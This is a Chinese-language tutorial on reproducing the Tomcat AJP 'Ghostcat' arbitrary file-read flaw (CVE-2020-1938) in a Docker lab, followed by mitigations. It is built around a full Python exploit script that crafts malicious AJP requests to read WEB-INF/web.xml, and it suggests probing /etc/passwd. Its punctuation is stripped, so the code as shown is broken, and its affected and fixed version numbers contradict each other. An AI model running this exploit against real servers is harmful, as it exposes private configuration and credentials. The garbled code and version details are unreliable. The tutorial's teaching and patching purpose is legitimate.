幽灵猫漏洞实战从零复现Tomcat AJP文件包含漏洞第一次听说Tomcat的AJP协议漏洞时我正坐在实验室里调试一个Java Web应用。当时一位学长随口提到这个漏洞可以读取服务器上的任意文件这立刻引起了我的兴趣。作为一个刚入门安全研究的新手我决定亲手复现这个经典的漏洞于是有了这篇详细的实战记录。1. 漏洞背景与环境准备AJPApache JServ Protocol是Tomcat用于与前端Web服务器如Apache HTTPD通信的二进制协议。在2020年初安全研究人员发现Tomcat默认开启的AJP服务存在设计缺陷攻击者可以构造特殊请求读取Web目录外的任意文件漏洞编号CVE-2020-1938CNVD-2020-10487。受影响版本范围Apache Tomcat 6Apache Tomcat 7 ≤ 7.0.100Apache Tomcat 8 ≤ 8.5.51Apache Tomcat 9 ≤ 9.0.31为了复现漏洞我们需要准备以下环境# 使用Docker快速部署有漏洞的Tomcat 8.5.31 docker run -d -p 8080:8080 -p 8009:8009 --name vuln_tomcat tomcat:8.5.31注意确保主机8009端口未被占用这是AJP服务的默认端口验证Tomcat是否正常运行curl http://localhost:8080如果看到Tomcat默认页面说明环境已就绪。2. 漏洞原理深度解析这个漏洞的核心在于Tomcat对AJP请求中javax.servlet.include.*属性的处理不当。攻击者可以通过构造特殊的AJP请求利用文件包含功能读取WEB-INF目录下的敏感文件如web.xml。关键攻击向量通过AJP协议发送包含恶意属性的请求设置javax.servlet.include.request_uri为/设置javax.servlet.include.path_info为目标文件路径设置javax.servlet.include.servlet_path为/当这些属性被Tomcat处理时服务器会错误地将指定文件包含到响应中导致信息泄露。3. 漏洞复现实战步骤我们将使用Python脚本进行漏洞利用。首先创建一个名为exploit.py的文件内容如下import socket import struct def pack_string(s): if s is None: return struct.pack(h, -1) return struct.pack(H%dsb % len(s), len(s), s.encode(utf8), 0) def prepare_ajp_request(target_host, file_path): # 构造AJP转发请求 req b\x12\x34\x00\x01\x0a req pack_string(HTTP/1.1) req pack_string(/asdf) # 任意URI req pack_string(target_host) req pack_string(None) # remote_host req pack_string(target_host) req struct.pack(h, 80) # server_port req struct.pack(?, False) # is_ssl # 请求头 req struct.pack(h, 5) # header_count req b\x0a\x04 pack_string(text/html) # SC_REQ_ACCEPT req b\x0a\x06 pack_string(keep-alive) # SC_REQ_CONNECTION req b\x0a\x08 pack_string(target_host) # SC_REQ_HOST req b\x0a\x0b pack_string(Mozilla) # SC_REQ_USER_AGENT req b\x0a\x03 pack_string(0) # SC_REQ_CONTENT_LENGTH # 恶意属性 req b\xff\x0a # 10 req_attribute req pack_string(javax.servlet.include.request_uri) req pack_string(/) req b\xff\x0a req pack_string(javax.servlet.include.path_info) req pack_string(file_path) req b\xff\x0a req pack_string(javax.servlet.include.servlet_path) req pack_string(/) req b\xff # 属性结束标记 return req def exploit(target, port8009, fileWEB-INF/web.xml): s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(prepare_ajp_request(target, file)) # 读取响应 data s.recv(4096) s.close() return data[5:] # 跳过AJP头 if __name__ __main__: import argparse parser argparse.ArgumentParser() parser.add_argument(target, help目标IP或域名) parser.add_argument(-p, --port, typeint, default8009, helpAJP端口) parser.add_argument(-f, --file, defaultWEB-INF/web.xml, help要读取的文件路径) args parser.parse_args() print(exploit(args.target, args.port, args.file).decode(utf-8, ignore))执行漏洞利用python3 exploit.py 127.0.0.1 -f WEB-INF/web.xml预期输出如果漏洞存在将显示web.xml文件内容包含Tomcat的配置信息。4. 常见问题与调试技巧在复现过程中可能会遇到以下问题问题1连接被拒绝检查Tomcat是否正常运行docker ps确认AJP端口(8009)已暴露netstat -tuln | grep 8009问题2无数据返回确认文件路径是否正确WEB-INF/web.xml是默认存在文件尝试其他文件路径如/etc/passwd需突破目录限制问题3Python版本兼容性问题原始POC可能只兼容Python 2上述脚本已适配Python 3如果遇到编码问题尝试修改decode参数调试技巧使用Wireshark捕获AJP流量分析协议交互在Tomcat日志中查找AJP请求记录docker exec vuln_tomcat tail -f /usr/local/tomcat/logs/catalina.out修改脚本逐步发送请求观察服务器响应5. 漏洞修复与防护措施Apache官方已发布修复版本建议升级到以下或更高版本Tomcat 7.0.100Tomcat 8.5.51Tomcat 9.0.31临时缓解方案关闭AJP服务推荐!-- 修改conf/server.xml -- Connector port8009 protocolAJP/1.3 redirectPort8443 / !-- 注释或删除此行 --配置AJP认证Connector port8009 protocolAJP/1.3 redirectPort8443 secretRequiredtrue secretYOUR_SECRET /防火墙限制AJP端口访问iptables -A INPUT -p tcp --dport 8009 -j DROP6. 深入理解AJP协议为了更好地理解漏洞本质我们需要了解AJP协议的基本结构AJP消息类型类型代码描述Forward Request2从Web服务器到容器Send Body Chunk3发送请求体数据Send Headers4发送响应头End Response5结束响应Get Body Chunk6获取请求体数据关键数据结构# AJP消息头结构4字节 struct ajp_header { uint8_t magic; # 0x12或0x41 uint8_t code; # 消息类型代码 uint16_t length; # 消息体长度 };在漏洞利用中我们构造的是一个Forward Request消息通过精心设置的属性实现文件包含。理解这些底层细节有助于我们编写更精确的漏洞检测工具。